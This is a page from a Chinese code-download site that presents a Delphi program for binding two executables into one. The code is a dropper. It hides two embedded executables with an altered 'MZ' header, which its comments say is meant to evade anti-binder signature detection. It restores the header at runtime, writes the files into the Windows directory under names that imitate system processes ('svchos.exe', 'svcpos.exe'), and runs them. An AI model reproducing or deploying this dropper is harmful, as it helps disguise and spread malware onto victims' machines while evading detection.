⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 project1.dpr

📁 可将两个文件捆绑在一起同时的运行 大家可以看看
💻 DPR
字号:
program ximen;

uses
  windows,
  shellapi;

//必须用到的单元
var
  Ehead: string='N[';

{$R me.res} //连接我们的资源文件


procedure ReSetMZ;
var
  j: Integer;
begin
  for j:=1 to 2 do Ehead[j] := Char(Byte(Ehead[j]) - 1);
{ 反捆绑软件一般是以'MZ'作特征码的,所以要动态生成'MZ'这里不加密也是一样的 不过为了完美些 让他连MZ影子都看不到  . }
end;

procedure LingLei(LuJing:string;wenjian:string);  //释放资源  还原exe头
var
  WriteBuff, ResultFilePath, ResourcePointer: PChar;
  ResourceLocation: HRSRC;
  ResourceSize, BytesWritten: Longword;
  ResDataHandle: THandle;
  FileHandle: THandle;

begin
 // Ehead :='MZ';
  ResultFilePath := pchar(Lujing);
  ResourceLocation := FindResource(HInstance, pchar(wenjian), RT_RCDATA); //资源文件名

  if ResourceLocation <> 0 then     //如果资源文件存在
  begin
    ResourceSize := SizeofResource(HInstance, ResourceLocation);
    if ResourceSize <> 0 then
    begin
      ResDataHandle := LoadResource(HInstance, ResourceLocation);
      if ResDataHandle <> 0 then
      begin
        ResourcePointer := LockResource(ResDataHandle);
        if ResourcePointer <> nil then
        begin
          FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if FileHandle <> INVALID_HANDLE_VALUE then
          begin
            WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
            Sleep(10);
            SetFilePointer(FileHandle, 0, nil, FILE_BEGIN);          //把MZ头还原回去
            WriteBuff := PChar(Ehead + StringOfChar(#0,  2- Length(Ehead)));
            WriteFile(FileHandle, WriteBuff^, 2, BytesWritten, nil);
            CloseHandle(FileHandle);
          end;
        end;
      end;
    end;
  end;
end;

var
sysdir:array[0..145] of char;
exe1,exe2:string;
begin
ReSetMZ;
GetwindowsDirectory(sysdir,145);
exe1:=sysdir+'\'+'svchos.exe';
exe2:=sysdir+'\'+'svcpos.exe';

Linglei(exe1,'urlmm');
Linglei(exe2,'urlkk');
sleep(1000);
ShellExecute(0, 'open', PChar(exe1), nil, nil, SW_SHOW); //调用shellexecute这个api
ShellExecute(0, 'open', PChar(exe2), nil, nil, SW_SHOW); //调用shellexecute这个api

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -